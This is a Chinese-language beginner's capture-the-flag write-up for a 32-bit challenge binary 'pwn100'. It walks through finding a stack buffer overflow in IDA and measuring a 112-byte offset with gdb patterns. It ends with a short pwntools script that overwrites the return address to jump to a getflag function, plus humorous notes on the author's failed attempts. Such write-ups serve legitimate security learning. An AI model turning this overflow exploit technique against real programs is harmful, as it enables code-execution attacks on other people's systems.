pwn学习系列--任务3 pwn100

pwn100解题步骤
1.先将pwn100 文件copy到虚拟机里,查看一波,文件是32位的
pwn学习系列--任务3 pwn100_第1张图片
2.ida里f5 查看main函数
pwn学习系列--任务3 pwn100_第2张图片
查看buf大小64+4,但read可向buf读入0x100,可看出这是个栈溢出

pwn学习系列--任务3 pwn100_第3张图片
3.找了老久,我勒个去,没有system函数,身为小白的我,一直纠结这是要干啥,我该怎么办。。。但有getflag函数,额----,flag.txt自己弄,flag文件记得写点东西,不然后面又不知道干啥了,放到和pwn100同一文件夹,查看getflag函数。

pwn学习系列--任务3 pwn100_第4张图片
还看到getflag函数偏移地址:0x804865D
解题思路就是将返回地址覆盖为getflag的地址,控制执行getflag函数,将flag泄出。

4.确定溢出点位置
gdb 运行pwn100一波,然后pattern create 200 个字符,run执行,将生成的200个东东复制粘贴,可以看到,执行不下去的位置是0x41384141
pwn学习系列--任务3 pwn100_第5张图片
5.然后执行

pattern offset 0x41384141

pwn学习系列--任务3 pwn100_第6张图片需要填充112个字符

6.可以写exp了

from pwn import*
p = process('./pwn100')
pay ='a'*112+p32(0x804865D)
p.recvuntil('begin!\n')
p.sendline(pay)  
p.interactive()

pwntools的相关用法要多加学习

7.执行结果,相当成功
pwn学习系列--任务3 pwn100_第7张图片
最后,看看我一路失败的经历
pwn学习系列--任务3 pwn100_第8张图片
方方,还在纠结,到底要咋个弄?咋个弄?咋个弄?------省略一万字

pwn学习系列--任务3 pwn100_第9张图片

终于调通了,然后,然后,然后,大佬说flag是假的,然后,然后,,,,我就绝望了~好在我机智,回头看了一下getflag函数,忘记zhimakaimen了(芝麻开门,略略略略略略略略略),然后zhimakaimen一波,我去,又是什么都么有,又跑去问了大佬,我flag文件空的,wo c,好吧,随便填了点啥,天啊,终于找出了自己写的flag,哈哈哈哈哈哈~~~~

你可能感兴趣的:(python,pwn)